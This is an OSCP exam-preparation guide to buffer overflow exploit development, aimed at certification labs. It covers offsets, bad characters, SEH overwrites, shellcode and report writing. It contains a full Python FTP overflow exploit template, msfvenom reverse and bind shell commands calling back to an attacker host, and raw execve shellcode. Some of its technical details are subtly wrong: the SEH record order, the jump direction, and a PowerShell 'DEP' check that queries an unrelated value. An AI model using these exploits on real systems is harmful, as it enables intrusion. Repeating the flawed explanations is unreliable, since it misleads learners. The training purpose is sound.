Domain 3Exploit Dev & AV EvasionCORE

OSCP Exam Tips for Exploit Development

Essential OSCP exam tips specifically for exploit development scenarios. Covers time management, systematic approach, documentation, common exam machine patterns, and reporting requirements for buffer overflow exploits.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#oscp-exam#exam-tips#exploit-strategy#time-management#reporting

OSCP Exam Tips for Exploit Development

Appendix C: Expanding the Original Exam Tips — This guide takes the foundational exam tips from the OSCP Fixing Exploits chapter and expands them into a comprehensive, battle-tested reference for exploit development during the actual exam.


Table of Contents

  1. The 10 Golden Rules for Exploit Development
  2. Time Management Strategy
  3. Systematic 15-Step Approach
  4. Common Exam Machine Patterns
  5. Documentation Requirements
  6. Report Writing for Exploits
  7. When to Give Up and Move On
  8. Backup Strategies
  9. Lab Practice Recommendations
  10. Common Exam Pitfalls
  11. Quick Reference Cheat Sheet

1. The 10 Golden Rules for Exploit Development

These rules are expanded from the original OSCP appendix and refined through real exam experience.

Rule 1: Always Verify the Crash Before Writing an Exploit

Why it matters: 30-40% of students waste hours writing exploits for services that crash unreliably or not at all. A stable, reproducible crash is the absolute foundation.

How to verify properly:

# Step 1: Send a unique pattern to confirm crash
pattern = msf-pattern_create(length=5000)
# Send via your attack vector (HTTP, SMB, custom protocol, etc.)

# Step 2: Capture the crash offset
offset = msf-pattern_offset(length=5000, value=crashed_register_value)

# Step 3: Verify with controlled payload
payload = A * offset + B * 4 + C * remaining
# Send and confirm: EIP should be 0x42424242 (BBBB)

Exam tip: Take a screenshot of the pattern offset calculation. This becomes part of your report evidence.


Rule 2: Document Everything as You Go

The #1 reason students lose points: Incomplete documentation. The report is 30% of your score.

What to document in real-time:

Item When to Capture Tool
Service banner/version During enumeration nmap, screenshot
Vulnerability confirmation After pattern crash Immunity Debugger screenshot
Offset calculation After pattern_offset Command output screenshot
Bad characters list Before payload testing Python script output
Final exploit code Before execution Full code block
Shell obtained Immediately after whoami, ipconfig screenshot
User flag After reading Screenshot of flag content
Root/Admin flag After privilege escalation Screenshot of flag content

Pro tip: Use a naming convention for screenshots:

01_nmap_scan.png
02_service_banner.png
03_pattern_crash.png
04_offset_calculation.png
05_bad_chars_test.png
06_final_exploit.png
07_shell_obtained.png
08_user_flag.png
09_root_flag.png

Rule 3: Test Bad Characters Thoroughly

Why this is critical: Bad characters corrupt your shellcode. A single bad char can turn a working exploit into a silent failure.

Standard bad character string:

badchars = (
    b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
    b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
    b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
    b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
    b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
    b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
    b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
    b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
    b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
    b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
    b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
    b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
    b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
    b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
    b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
    b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

How to verify in Immunity:

  1. Set a breakpoint at the start of your shellcode (after nopsled)
  2. Run the exploit
  3. Use the sfind command or manually scroll through memory
  4. Compare transmitted bytes vs. memory bytes

Common bad characters by protocol:

Protocol Typical Bad Characters Reason
HTTP (GET/POST) \x0a, \x0d, \x20 CRLF and space are HTTP delimiters
SMB \x00, \x0a, \x0d Null terminator, line endings
Custom binary protocol \x00 Null byte terminates strings
URL-based \x00, \x20, \x2f Null, space, forward slash

Rule 4: Use Multiple Jump Instructions for SEH Overwrites

The problem: A single \xeb (jmp short) may not work due to distance or encoding issues.

The solution: Have a toolkit of jump instructions ready:

\xeb\x06    jmp short +6 (most common for SEH)
\xeb\x10    jmp short +16
\xeb\x0a    jmp short +10
\xeb\x0e    jmp short +14
\x90\xeb\x06    nop + jmp short +6 (extra safety)

SEH overwrite exploit template:

# SEH Overwrite Structure:
# [Padding] [4 bytes SEH Override] [4 bytes Next SEH] [Jump Back] [Nopsled] [Shellcode]

padding = A * sef_offset
seh_override = struct.pack('<I', jump_address)  # Address of \xeb\x06\x90\x90
next_seh = struct.pack('<I', 0x90909090)        # NOPs
jump_back = '\xeb' + p8(negative_offset) + '\x90\x90'  # Jump back to shellcode
nopsled = '\x90' * 16
shellcode = reverse_shell_shellcode

exploit = padding + seh_override + next_seh + jump_back + nopsled + shellcode

Rule 5: Always Have a Fallback Shellcode

Never rely on a single shellcode. Prepare multiple options:

# Option 1: Standard reverse shell (primary)
shellcode = msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 -f python -b '\x00\x0a\x0d'

# Option 2: Bind shell (if reverse is blocked)
shellcode_bind = msfvenom -p windows/shell_bind_tcp LPORT=4444 -f python -b '\x00\x0a\x0d'

# Option 3: Meterpreter reverse (if allowed and available)
shellcode_meterpreter = msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 -f python -b '\x00\x0a\x0d'

# Option 4: Windows exec (run a pre-placed executable)
shellcode_exec = msfvenom -p windows/exec CMD='cmd.exe /c C:\\payload.exe' -f python -b '\x00\x0a\x0d'

Exam reality: Firewalls sometimes block reverse connections. Having a bind shell ready saves 30+ minutes.


Rule 6: Check for ASLR and DEP Before Exploiting

Quick detection methods:

# In Immunity Debugger, check module properties
# Look for: ASLR: No, DEP: No, SafeSEH: No

# Via command line on the target (if you have access)
dumpbin /headers <module.exe> | findstr "Dynamic Base"
dumpbin /headers <module.exe> | findstr "NX"

# Via PowerShell
Get-Process | Select-Object Name, @{N='DEP';E={(Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\kernel").DisableExceptionChainValidation}}

What to look for in Immunity:

Protection What You See What It Means
ASLR: No Module loaded at consistent address Safe to use hardcoded addresses
ASLR: Yes Module address changes each run Need to find non-ASLR module or leak
DEP: No Can execute shellcode on stack/heap Standard shellcode approach works
DEP: Yes Cannot execute on stack Need ROP chain or reflective DLL
SafeSEH: No Can overwrite SEH with any address Standard SEH overwrite works
SafeSEH: Yes Only registered handlers allowed Need different approach

Exam tip: Most OSCP exam machines with buffer overflows have ASLR: No, DEP: No, SafeSEH: No on the vulnerable module. This is by design.


Rule 7: Stabilize Your Shell Before Escalating

The golden sequence after getting a shell:

# Step 1: Upgrade to interactive shell
python -c 'import pty; pty.spawn("/bin/bash")'        # Linux
C:\Windows\System32\cmd.exe                            # Windows (if in limited shell)

# Step 2: Stabilize the connection
# Background the shell with Ctrl+Z, then:
stty raw -echo
fg

# Step 3: Verify who you are
whoami                                                  # Linux
whoami                                                  # Windows
net user                                                # Windows - list users

# Step 4: Check network config
ifconfig                                                # Linux
ipconfig /all                                           # Windows

# Step 5: Read the user flag BEFORE doing anything else
cat /home/<user>/desktop/user.txt                       # Linux
type C:\Users\<user>\Desktop\user.txt                   # Windows

Why read the flag first? Shells can die. Privilege escalation can fail. Secure the points early.


Rule 8: Take Screenshots at Every Milestone

Mandatory screenshots for full points:

┌─────────────────────────────────────────────────────────┐
│  REQUIRED SCREENSHOTS (Minimum for Full Points)         │
├─────────────────────────────────────────────────────────┤
│  1. Nmap scan showing open ports and services           │
│  2. Vulnerability identification (banner/version)        │
│  3. Proof of exploitation (shell prompt with whoami)     │
│  4. User flag content                                    │
│  5. Root/Admin flag content                              │
│  6. Privilege escalation command/output                  │
└─────────────────────────────────────────────────────────┘

Optional but recommended:

┌─────────────────────────────────────────────────────────┐
│  OPTIONAL SCREENSHOTS (Strengthen Your Report)          │
├─────────────────────────────────────────────────────────┤
│  7. Pattern crash in Immunity Debugger                   │
│  8. Offset calculation output                            │
│  9. Bad character verification                           │
│ 10. Module address discovery (mona.py output)            │
│ 11. Final exploit code                                    │
│ 12. Privilege escalation enumeration steps               │
└─────────────────────────────────────────────────────────┘

Rule 9: Keep Your Exploit Code Clean and Commented

Your exploit script will be included in your report. Make it presentable:

#!/usr/bin/env python3
"""
Exploit for [Service Name] [Version] - Buffer Overflow
Vulnerability: CVE-XXXX-XXXXX (or custom if no CVE)
Author: AC-XXXXX
Target: [Machine IP]
Date: 2026-XX-XX

Description:
    This exploit targets a stack-based buffer overflow in [Service Name]
    version [X.X.X] running on [Windows/Linux]. The vulnerability exists
    in the handling of [specific input/parameter], allowing an attacker
    to overwrite EIP and redirect execution to attacker-controlled shellcode.
"""

import socket
import struct
import sys
import time

# ==================== CONFIGURATION ====================
TARGET_IP = "10.10.10.X"
TARGET_PORT = 21
LHOST = "10.10.14.X"
LPORT = 443

# ==================== PAYLOAD COMPONENTS ====================
# Offset determined using msf-pattern_offset
OFFSET = 2006

# JMP ESP address from non-ASLR module (verified stable across reboots)
JMP_ESP = struct.pack('<I', 0x625011AF)

# Bad characters identified through testing
# Bad chars: \x00, \x0a, \x0d
# These were excluded during msfvenom generation

# Nopsled for landing reliability
NOPSLED = b'\x90' * 16

# Shellcode generated with:
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.X LPORT=443 -f python -b '\x00\x0a\x0d'
SHELLCODE = (
    b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x64\x33\x..."
    # Full shellcode here
)

# ==================== EXPLOIT CONSTRUCTION ====================
# Structure: [Buffer][EIP Override][Nopsled][Shellcode]
buffer = b'A' * OFFSET
eip_override = JMP_ESP
payload = buffer + eip_override + NOPSLED + SHELLCODE

# ==================== DELIVERY ====================
def exploit():
    """Send the crafted payload to trigger the buffer overflow."""
    try:
        print(f"[+] Connecting to {TARGET_IP}:{TARGET_PORT}")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TARGET_IP, TARGET_PORT))
        
        print(f"[+] Sending payload ({len(payload)} bytes)")
        # Craft the protocol-specific command
        # Example for FTP USER command:
        request = f"USER {payload.decode('latin-1')}\r\n".encode('latin-1')
        s.send(request)
        
        print("[+] Payload sent. Waiting for connection...")
        s.close()
        
        # Listen for reverse connection
        # (Set up netcat listener separately: nc -lvnp 443)
        print("[+] Check your netcat listener on port 443")
        
    except Exception as e:
        print(f"[-] Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    exploit()

Rule 10: Verify Module Addresses Persist Across Reboots

The silent point-killer: An exploit that works once but fails on the report submission because the module loaded at a different address.

Verification process:

1. Note the module address from your working exploit
2. Reboot the target machine
3. Re-attach Immunity Debugger
4. Confirm the module loaded at the SAME address
5. If different, find a module that IS stable

# Using mona.py to find stable modules:
!mona modules

# Look for modules with:
# - ASLR: False
# - Rebase: False  
# - SafeSEH: False
# These are your best candidates

If address changes: Use a module that doesn’t change, or use an address from a system DLL that is known to be stable (like kernel32.dll with a known import address table entry).


2. Time Management Strategy

Overall Exam Time Budget

gantt
    title OSCP Exam Time Allocation for Exploit Machines
    dateFormat HH:mm
    axisFormat %H:%M
    section Exploit Machine
    Recon & Enumeration       :08:00, 45m
    Vulnerability Identification :08:45, 30m
    Initial Crash Testing     :09:15, 30m
    Offset Calculation        :09:45, 15m
    Bad Character Testing     :10:00, 30m
    Module/Address Hunting    :10:30, 30m
    Shellcode Generation      :11:00, 15m
    Exploit Script Writing    :11:15, 30m
    Testing & Debugging       :11:45, 45m
    Shell Stabilization       :12:30, 15m
    Privilege Escalation      :12:45, 45m
    Documentation & Screenshots :13:30, 30m

Time Allocation Guidelines

Phase Recommended Time Maximum Time Action if Exceeded
Initial crash reproduction 15-30 min 45 min Try different inputs/parameters
Offset finding 5-10 min 15 min Re-verify crash is consistent
Bad character testing 20-40 min 60 min Use common bad chars as starting point
Module/address hunting 15-30 min 45 min Try multiple modules, use mona.py
Shellcode generation 10-15 min 20 min Pre-generate multiple shellcodes
Exploit script writing 20-40 min 60 min Use templates, don’t start from scratch
Testing and debugging 30-60 min 90 min Check each component individually
Total per exploit machine 2-3 hours 4 hours Move to next machine

The 4-Hour Rule

If you have spent 4 hours on an exploit machine without obtaining a shell, move to the next machine.

This is not a suggestion—it’s a survival strategy. The exam has multiple machines. Spending 6+ hours on one machine while leaving others untouched is the fastest way to fail.

Exception: If you are 90% there (shell works 4 out of 5 times), give yourself another hour to stabilize.


3. Systematic 15-Step Approach

Follow this repeatable process for every exploit machine:

flowchart TD
    A[Step 1: Nmap Full Scan] --> B[Step 2: Identify Target Service]
    B --> C[Step 3: Research Known Vulnerabilities]
    C --> D[Step 4: Interact with Service]
    D --> E[Step 5: Send Pattern Crash]
    E --> F{Service Crashes?}
    F -->|Yes| G[Step 6: Calculate Offset]
    F -->|No| H[Step 14: Try Different Approach]
    G --> I[Step 7: Confirm EIP Control]
    I --> J[Step 8: Find Bad Characters]
    J --> K[Step 9: Find JMP/POP-POP-RET Address]
    K --> L[Step 10: Generate Shellcode]
    L --> M[Step 11: Build Exploit Script]
    M --> N[Step 12: Test and Debug]
    N --> O{Shell Obtained?}
    O -->|Yes| P[Step 13: Stabilize and Escalate]
    O -->|No| N
    H --> C
    P --> Q[Done - Document Everything]

Detailed Step Breakdown

Step 1: Nmap Full Scan

# Quick scan first
nmap -sV -sC -oA nmap/quick 10.10.10.X

# Full scan if needed
nmap -sSVC -p- -oA nmap/full 10.10.10.X

# Script scan for specific services
nmap --script vuln -p <port> -oA nmap/vuln 10.10.10.X

Step 2: Identify Target Service

  • Note the service name, version, and port
  • Check if it’s a custom or well-known service
  • Look for version-specific vulnerabilities

Step 3: Research Known Vulnerabilities

# Searchsploit is your best friend
searchsploit <service name> <version>

# Also check:
searchsploit -m <exploit_id>                    # Mirror exploit to current dir
searchsploit -m -x <exploit_id>                 # Mirror and display

Step 4: Interact with Service

  • Connect manually to understand the protocol
  • Identify all input vectors (commands, parameters, headers)
  • Test each input vector for crash potential

Step 5: Send Pattern Crash

# Generate unique pattern
pattern = msf-pattern_create(length=5000)

# Send via appropriate protocol
# Example for FTP:
s.send(f"USER {pattern}\r\n".encode())

Step 6: Calculate Offset

# In Immunity, note the overwritten register value
# Then calculate:
msf-pattern_offset -q <overwritten_value>

Step 7: Confirm EIP Control

# Send: A * offset + B * 4 + C * remaining
# EIP should show 0x42424242 (BBBB)

Step 8: Find Bad Characters

  • Send full byte range (see Rule 3)
  • Compare in Immunity memory view
  • Document confirmed bad characters

Step 9: Find JMP/POP-POP-RET Address

# In Immunity with mona.py:
!mona find -s "\xff\xe4" -m <module.exe>    # JMP ESP
!mona find -s "\x5d\x5d\xc3" -m <module.exe> # POP POP RET

# For SEH overwrites:
!mona seh

Step 10: Generate Shellcode

# Standard reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.X LPORT=443 -f python -b '\x00\x0a\x0d'

# Linux reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.X LPORT=443 -f python -b '\x00\x0a\x0d'

Step 11: Build Exploit Script

  • Use the template from Rule 9
  • Include all comments and documentation
  • Test each component separately

Step 12: Test and Debug

  • Run exploit, attach debugger
  • Step through execution
  • Verify shellcode lands and executes
  • Fix any issues iteratively

Step 13: Stabilize and Escalate

  • Upgrade to interactive shell
  • Read user flag immediately
  • Begin privilege escalation

Step 14: Try Different Approach

If the current path fails:

  • Try a different input vector
  • Try a different service on the same machine
  • Move to a different machine entirely

Step 15: Document Everything

  • Compile all screenshots
  • Write the report section
  • Include exploit code, steps, and evidence

4. Common Exam Machine Patterns

Windows Buffer Overflow Machines

Typical Services

Service Port Common Vulnerabilities Example Machines
FTP Server 21 USER/PASS command overflow FTP servers, custom daemons
Web Server 80/8080 HTTP header overflow, URI overflow Custom web apps
SMB/Share 445 Custom SMB implementations File sharing services
Custom Daemon Various Protocol-specific overflows Exam-specific services
DNS Server 53 Query response overflow DNS implementations
SMTP Server 25 MAIL FROM/Rcpt To overflow Mail servers

Typical Protections (or Lack Thereof)

Most exam machines will have:
├── ASLR: Disabled on vulnerable module
├── DEP: Disabled (or bypassable)
├── SafeSEH: Disabled
└── Stack Cookies: Not present

Some machines may have:
├── Partial DEP: Only on certain modules
├── ASLR: Enabled on system DLLs, disabled on custom module
└── SafeSEH: Enabled on system DLLs, disabled on custom module

Common Exploit Vectors

  1. Stack-based Buffer Overflow (Most Common)

    • Overwrite EIP with JMP ESP
    • Place shellcode before or after EIP
    • Use nopsled for reliability
  2. SEH Overwrite (Second Most Common)

    • Overwrite SEH record with controlled data
    • Use \xeb\x06\x90\x90 pattern
    • Jump back to shellcode
  3. Heap Spray (Rare in Exam)

    • Allocate large blocks of memory
    • Spray with nopsled + shellcode
    • Redirect execution to heap

Linux Buffer Overflow Machines

Key Differences from Windows

Aspect Windows Linux
Architecture Usually x86 (32-bit) x86 or x64
Shellcode Reverse TCP shell Reverse shell, often /bin/sh
Debugger Immunity Debugger GDB with GEF/Peda
Bad chars Protocol-dependent Often fewer bad chars
Protections ASLR, DEP, SafeSEH ASLR, NX, Stack Canaries
Privilege Escalation Windows-specific SUID, sudo, kernel exploits

Linux-Specific Considerations

# Check ASLR status
cat /proc/sys/kernel/randomize_va_space
# 0 = disabled, 1 = conservative, 2 = full

# Disable ASLR for testing (if you have access)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Check NX protection
checksec --file=/path/to/binary

# In GDB:
gdb ./vulnerable_binary
(gdb) pattern create 5000 > pattern.txt
(gdb) run $(cat pattern.txt)
(gdb) pattern search $eip

Common Linux Exploit Patterns

  1. Ret2libc (when NX is enabled)

    • Overwrite return address with system() address
    • Pass /bin/sh as argument
    • Need to leak addresses or use partial overwrite
  2. Standard Stack Overflow (when NX is disabled)

    • Similar to Windows approach
    • Use \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 for execve(/bin/sh)
  3. Format String Vulnerabilities

    • Leak stack/heap addresses
    • Overwrite GOT entries
    • Redirect execution flow

SEH Overwrite Machines

SEH Chain Basics

Normal SEH Chain:
┌─────────────┐     ┌─────────────┐     ┌─────────────┐
│ Next SEH     │───>│ Next SEH     │───>│ Next SEH     │
│ SEH Handler  │     │ SEH Handler  │     │ SEH Handler  │
└─────────────┘     └─────────────┘     └─────────────┘
     Exception propagates through the chain

SEH Overwrite Technique

Exploit Layout for SEH Overwrite:
┌──────────────────┬────────────┬────────────┬──────────────────┬──────────┬──────────┐
│    Padding (A's)  │ SEH Record │ Next SEH   │    Jump Back     │ Nopsled  │ Shellcode│
│   to SEH offset   │ (JMP addr) │  (0x9090)  │  (\xeb\x06\x90) │  (\x90s) │          │
└──────────────────┴────────────┴────────────┴──────────────────┴──────────┴──────────┘
         ↑                    ↑              ↑                    ↑
    SEH Offset          Overwritten SEH    NOPs for           Negative jump
    (e.g., 3000)        with module addr    landing safety     to shellcode

Finding SEH Offset

# Generate pattern
pattern = msf-pattern_create(length=5000)

# Send pattern and crash
# In Immunity, let the exception trigger
# Note the value in the SEH Override field
offset = msf-pattern_offset(length=5000, value=seh_override_value)

Finding SEH Overwrite Address

# In Immunity with mona.py:
!mona seh

# This outputs a table with:
# - Module name
# - Address of \xeb\x06\x90\x90 sequence
# - ASLR, Rebase, SafeSEH status

# Choose an address from a module with:
# - ASLR: False
# - Rebase: False
# - SafeSEH: False

5. Documentation Requirements

Screenshot Checklist

Use this checklist during your exam to ensure complete documentation:

## Machine: [IP Address] - [Hostname]

### Enumeration
- [ ] Nmap scan results (ports, services, versions)
- [ ] Service banner grab
- [ ] Directory enumeration (if web)
- [ ] Vulnerability identification

### Exploitation
- [ ] Pattern crash in debugger
- [ ] Offset calculation output
- [ ] EIP control confirmation (0x42424242)
- [ ] Bad character test results
- [ ] Module information (mona.py output)
- [ ] Final exploit script
- [ ] Shell obtained (whoami output)

### Post-Exploitation
- [ ] User flag content
- [ ] Privilege escalation method
- [ ] Root/Admin flag content

Report Structure for Exploit Machines

## [Machine Name] - [IP Address]

### Vulnerability Summary
- **Service:** [Service Name] [Version]
- **Port:** [Port Number]
- **Vulnerability Type:** Stack-based Buffer Overflow / SEH Overwrite
- **CVE:** [CVE-XXXX-XXXXX or "No CVE assigned - custom vulnerability"]
- **CVSS Score:** [If available]

### Vulnerability Description
[Detailed description of the vulnerability, how it was discovered, and why it exists]

### Exploitation Steps

#### Step 1: Service Enumeration
[Description + screenshot]

#### Step 2: Crash Reproduction
[Description of pattern crash + screenshot]

#### Step 3: Offset Calculation
[Description + screenshot of msf-pattern_offset output]

#### Step 4: EIP Control Verification
[Description + screenshot showing 0x42424242 in EIP]

#### Step 5: Bad Character Analysis
[List of bad characters found + methodology]

#### Step 6: Module and Address Selection
[Description of chosen module and address + mona.py screenshot]

#### Step 7: Shellcode Generation
[msfvenom command used]

#### Step 8: Exploit Execution
[Full exploit code + screenshot of successful shell]

### Proof of Access
- **User:** [username]
- **User Flag:** [flag content]
- **Root/Admin:** [yes/no, how achieved]
- **Root Flag:** [flag content]

6. Report Writing for Exploits

CVE References

When a CVE exists:

**CVE-2021-44228** (Log4Shell)
- **Published:** December 2021
- **CVSS 3.1:** 10.0 (Critical)
- **Affected Product:** Apache Log4j 2.x
- **Reference:** https://nvd.nist.gov/vuln/detail/CVE-2021-44228

When no CVE exists (custom vulnerability):

**Custom Buffer Overflow Vulnerability**
- **No CVE assigned** - This is a custom vulnerability in the [Service Name] application
- **Estimated CVSS:** 9.8 (Critical) - Network-accessible, no authentication required, complete system compromise
- **Vulnerability Class:** CWE-120 (Buffer Copy without Checking Size of Input)

Proof of Concept Requirements

Your report MUST include:

  1. Complete exploit code - The full Python script that achieves exploitation
  2. Step-by-step reproduction - Anyone should be able to reproduce your results
  3. Environment details - Target OS, service version, attacker tools used
  4. Screenshots at each step - Visual proof of each phase

Example Report Section

## Exploitation Details

### Initial Reconnaissance

The target was running a custom FTP server on port 21. Banner grab revealed:

220 (Ftpd 3.00)


### Vulnerability Discovery

Using `searchsploit`, we identified that Ftpd 3.00 is vulnerable to a stack-based buffer overflow in the USER command:

searchsploit Ftpd 3.00


### Crash Reproduction

A cyclic pattern of 5000 bytes was sent via the USER command, causing the service to crash with an access violation in Immunity Debugger.

<figure class="img-placeholder"><code>📷 [Screenshot Placeholder: Pattern Crash]</code></figure>

### Offset Calculation

The EIP register was overwritten with `39654438`. Using Metasploit's pattern_offset:

msf-pattern_offset -q 39654438 [*] Exact match at offset 2006


### Final Exploit

The complete exploit script is provided in Appendix A. Key components:
- **Offset:** 2006 bytes
- **JMP ESP Address:** 0x625011AF (from vulnerable_module.dll)
- **Bad Characters:** \x00, \x0a, \x0d
- **Shellcode:** 340-byte reverse shell (msfvenom)

7. When to Give Up and Move On

Decision Matrix

flowchart TD
    A[Exploit Not Working] --> B{How long spent?}
    B -->|< 2 hours| C[Debug systematically]
    B -->|2-4 hours| D{Any progress?}
    B -->|> 4 hours| E[Move to next machine]
    D -->|Yes, close| F[Give 1 more hour]
    D -->|No| E
    F --> G{Shell obtained?}
    G -->|Yes| H[Great! Document and escalate]
    G -->|No| E
    C --> I{Shell obtained?}
    I -->|Yes| H
    I -->|No| B

Specific Triggers to Move On

Signal Action
Service doesn’t crash at all after 2 hours Try different input vectors; if none work, move on
Crash is inconsistent (works 1/10 times) Note it, move on—unreliable crashes waste time
Can’t find stable module address after 1 hour Try 3+ modules; if all unstable, move on
Shellcode corrupts despite bad char removal Try different encoder, different shellcode type
Exploit works in lab but not on exam machine Check for environmental differences; try 2 more times
4+ hours total on machine without shell Move on immediately

The “Close but Not Quite” Scenario

If you’re very close (shell works 3-4 out of 5 attempts):

  1. Give yourself 30 more minutes to stabilize
  2. Check: Is the module address stable? Is the nopsled large enough?
  3. Try: Increase nopsled from 16 to 64 bytes
  4. Try: Use a different jump instruction
  5. If still not stable after 30 min: Move on and return later if time permits

8. Backup Strategies

Multiple Exploits for the Same Service

Strategy: Have at least two exploitation paths ready for each service.

Service: FTP Server (Port 21)
├── Primary: USER command buffer overflow
├── Backup 1: PASS command buffer overflow
├── Backup 2: LIST command with long path
└── Backup 3: Exploit from different vulnerability class (auth bypass)

Multiple Shellcode Options

Always prepare these before the exam:

# Windows x86 Reverse Shell (Primary)
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 -f python -b '\x00\x0a\x0d'

# Windows x86 Reverse Shell (Alternative Port)
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=8443 -f python -b '\x00\x0a\x0d'

# Windows x86 Bind Shell (If reverse blocked)
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f python -b '\x00\x0a\x0d'

# Windows x86 Reverse Shell (Shikata Ga Nai encoded)
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 -e x86/shikata_ga_nai -f python -b '\x00\x0a\x0d'

# Linux x86 Reverse Shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=443 -f python -b '\x00\x0a\x0d'

# Linux x64 Reverse Shell
msfvenom -p linux/x86_64/shell_reverse_tcp LHOST=<IP> LPORT=443 -f python -b '\x00\x0a\x0d'

Pre-Exam Exploit Templates

Create these templates BEFORE the exam:

# Template 1: Stack Buffer Overflow (EIP overwrite)
# Template 2: SEH Overwrite
# Template 3: Linux Stack Buffer Overflow
# Template 4: HTTP Header Overflow
# Template 5: SMB Command Overflow

Having templates ready saves 30-60 minutes per exploit machine.


9. Lab Practice Recommendations

Must-Practice Machines

Windows Buffer Overflow

Machine Platform Difficulty Key Skills
FP-Note Windows Easy Basic stack overflow, EIP control
Secure Server Windows Easy FTP overflow, bad chars
Optimum Windows Easy Custom service overflow
Hackable Series Windows Easy-Medium Multiple overflow types
Windows 7 Exploit Windows Medium DEP/ASLR considerations
Bluescreen Windows Medium Custom daemon overflow

SEH Overwrite

Machine Platform Difficulty Key Skills
FP-Note Windows Easy Basic SEH overwrite
Windows 7 SEH Windows Medium SEH with protections
Custom SEH machines Windows Medium Various SEH scenarios

Linux Buffer Overflow

Machine Platform Difficulty Key Skills
Linux x86 Overflow Linux Easy Basic stack overflow
Linux x64 Overflow Linux Medium 64-bit exploitation
Ret2libc machines Linux Hard NX bypass techniques

Practice Checklist

Before the exam, ensure you can:

## Exploit Development Practice Checklist

### Fundamentals
- [ ] Crash a service with a pattern
- [ ] Calculate offset using msf-pattern_offset
- [ ] Confirm EIP control with 0x42424242
- [ ] Identify bad characters
- [ ] Find JMP ESP address using mona.py
- [ ] Generate shellcode with msfvenom
- [ ] Build and test complete exploit

### SEH Overwrite
- [ ] Crash and identify SEH overwrite
- [ ] Find \xeb\x06\x90\x90 address
- [ ] Calculate SEH offset
- [ ] Build SEH exploit with jump back
- [ ] Test and obtain shell

### Linux Exploitation
- [ ] Crash Linux service
- [ ] Use GDB for offset calculation
- [ ] Handle Linux-specific bad chars
- [ ] Generate Linux shellcode
- [ ] Obtain and stabilize shell

### Advanced
- [ ] Exploit with multiple bad characters
- [ ] Exploit when ASLR is partially enabled
- [ ] Exploit with custom protocols
- [ ] Privilege escalation after exploit
- [ ] Write complete report section
Week 1-2: Basic Windows Stack Overflow
  └── Practice on 3-4 easy machines
  
Week 3-4: SEH Overwrite
  └── Practice on 2-3 SEH machines
  
Week 5-6: Linux Buffer Overflow
  └── Practice on 2-3 Linux machines
  
Week 7-8: Mixed Practice + Report Writing
  └── Do full exploitation + report for each machine
  └── Time yourself (aim for < 3 hours per machine)

10. Common Exam Pitfalls

Pitfall 1: Not Checking Bad Characters

Symptom: Exploit works in debugger but fails when run standalone.

Cause: Shellcode contains bytes that are stripped or modified by the protocol.

Fix: Always test bad characters. Always. No exceptions.

Pitfall 2: Using Unstable Module Addresses

Symptom: Exploit works once, fails on second attempt.

Cause: Module loaded at different address due to ASLR or timing.

Fix: Verify address stability across multiple reboots. Use mona.py to find modules with ASLR: False, Rebase: False.

Pitfall 3: Insufficient Nopsled

Symptom: Shell works intermittently (3 out of 5 attempts).

Cause: Jump instruction lands in the middle of shellcode.

Fix: Increase nopsled from 16 to 64 or 128 bytes. Better yet, verify the exact landing point.

Pitfall 4: Wrong Endianness

Symptom: EIP shows wrong value, or jump address doesn’t work.

Cause: Address packed in wrong byte order.

Fix: Windows/x86 uses little-endian. Use struct.pack('<I', address):

import struct
# Correct (little-endian):
jmp_esp = struct.pack('<I', 0x625011AF)
# Results in: \xAF\x11\x50\x62

# WRONG (big-endian):
jmp_esp = struct.pack('>I', 0x625011AF)
# Results in: \x62\x50\x11\xAF  (WRONG!)

Pitfall 5: Forgetting to Encode Shellcode

Symptom: Shellcode contains bad characters despite specifying -b flag.

Cause: msfvenom needs an encoder when bad characters are present.

